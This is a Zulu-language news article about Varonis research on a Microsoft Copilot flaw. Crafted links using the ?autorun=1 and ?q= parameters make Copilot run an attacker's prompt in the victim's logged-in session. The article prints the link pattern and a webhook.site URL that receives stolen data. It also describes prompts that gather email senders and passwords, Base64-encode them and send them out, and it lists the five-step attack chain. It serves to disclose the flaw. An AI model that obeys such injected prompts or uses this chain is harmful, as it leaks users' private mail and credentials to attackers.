Kudalulwe ukuba sengozini kwe-Microsoft Copilot AI: izixhumanisi ezinonya zeqa ukuqinisekiswa komsebenzisi zebe idatha eyimfihlo

Imidiya yezobuchwepheshe i-Ars Technica ishicilele izolo (ngo-Agasti 18) umbhalo webhulogi, ibika ukuthi i-Microsoft Copilot inobungozi bezokuphepha obungasetshenziswa ngepharamitha ?autorun=1 kanye no ?q= ukuze kweqiwe ukuqinisekiswa komsebenzisi, ngaleyo ndlela kwebiwe imininingwane yomsebenzisi.

Ngokucaphuna lo mbhalo, i-IT之家 ibike ukuthi abacwaningi benkampani yezokuphepha i-Varonis bathole ukuthi, njengabasizi abaningi be-AI, i-Copilot iyakwazi ukuthola imiyalelo nge-URL. Ingxenye eyisisekelo ye-URL ingenza imodeli ivule izinhlelo zokusebenza ezifana ne-Gmail, kanti amapharamitha nombhalo olandelayo kungacela umsizi ukuba afingqe okuqukethwe kwebhokisi lokungenayo noma abhale uhlaka lwe-imeyili.

Abacwaningi bathole ukuthi i-Copilot inepharamitha ?autorun=1, engasetshenziswa kanye no ?q= ukuze kweqiwe ukuqinisekiswa komsebenzisi, kwakhiwe isixhumanisi esilandelayo:

https://copilot.microsoft.com/?q=&autorun=1

Ngemva kokuba umsebenzisi echofoze isixhumanisi esakhiwe umhlaseli, isiphequluli silayisha i-Copilot eseshini umsebenzisi angene kuyo. I-?autorun=1 iqala ukwenza ngokuzenzakalela, kanti imiyalelo eku-?q= iyasebenza ngaphandle kokuthi umsebenzisi enze isenzo.

Abacwaningi bakhe umyalo othi i-Copilot iseshe ibhokisi lokungenayo, ithole i-imeyili yakamuva, ikhiphe kuphela ikheli le-imeyili lomthumeli, bese igcina imiphumela kokuguquguqukayo okubizwa ngokuthi SUPPORT. Ngemva kwalokho, i-Copilot ikhiqiza le-URL elandelayo futhi yenze umyalo othi “fingqa i-URL”:

https://webhook.site/75aabb18-9bcf-4383-9e29-349fbc4c40e8/SUPPORT

Umhlaseli angathumela isixhumanisi esinonya esisungulwe ngale ndlela kumuntu ohlosiwe nge-imeyili, umlayezo wengxoxo, ikhasi lobugebengu bokweba imininingwane ebucayi noma ikhodi ye-QR. Ngemva kokuchofoza komsebenzisi, imininingwane ebucayi inamathiselwa kwenye i-URL, bese i-Copilot ivula lelo kheli ngokuzenzakalela kudivayisi. Ngenxa yokuthi leli khasi ligcinwe kuwebhusayithi elawulwa umhlaseli, idatha ekugcineni ithunyelwa kumhlaseli.

Abacwaningi baphinde baklama omunye umyalo owawenza i-Copilot iseshe amagama ayimfihlo nezinye iziqinisekiso ebhokisini lokungenayo. Uma umsizi uthola lezo zimfihlo, uzithumela kuseva efanayo elawulwa umhlaseli. Ukuze kufihlwe ukwebiwa kwedatha futhi kuncishiswe amaphutha okudlulisa, okuqukethwe okuthunyelwa ngaphandle kuqala kuguqulwa kube yi-Base64, okuyifomethi yokufaka ikhodi kudatha kanambambili ibe umbhalo.

U-Varonis ubale uchungechunge lokuhlasela olunezinyathelo ezi-5:

1. Umuntu ohlosiwe uchofoza i-URL eyakhiwe ngokucophelela umhlaseli, esatshalaliswa nge-imeyili, ingxoxo, ikhasi lobugebengu bokweba imininingwane ebucayi, ikhodi ye-QR nezinye izindlela.

2. Isiphequluli silayisha i-copilot.microsoft.com eseshini esebenzayo yomuntu ohlosiwe, osedlulile ekuqinisekisweni kobunikazi.

3. Ipharamitha ?autorun=1 iqala ukwenza ngokuzenzakalela, kanti umyalo we-?q= uyavela ngaphandle kwesenzo somsebenzisi.

4. I-Copilot icubungula umyalo ofakiwe futhi ithola ukufinyelela okugcwele kumongo weshini yomuntu ohlosiwe, izinhlelo zokusebenza ezixhunyiwe kanye nenkumbulo.

5. Ngisho noma ithebhu ye-Copilot ivalwa ngokushesha ngemva kokulayisha, umyalo uyaqhubeka uze uqedwe, kuhlanganise nanoma yikuphi ukutholwa kwenethiwekhi, ukubizwa kwezixhumi noma izenzo zamaketanga ezinemijikelezo eminingi.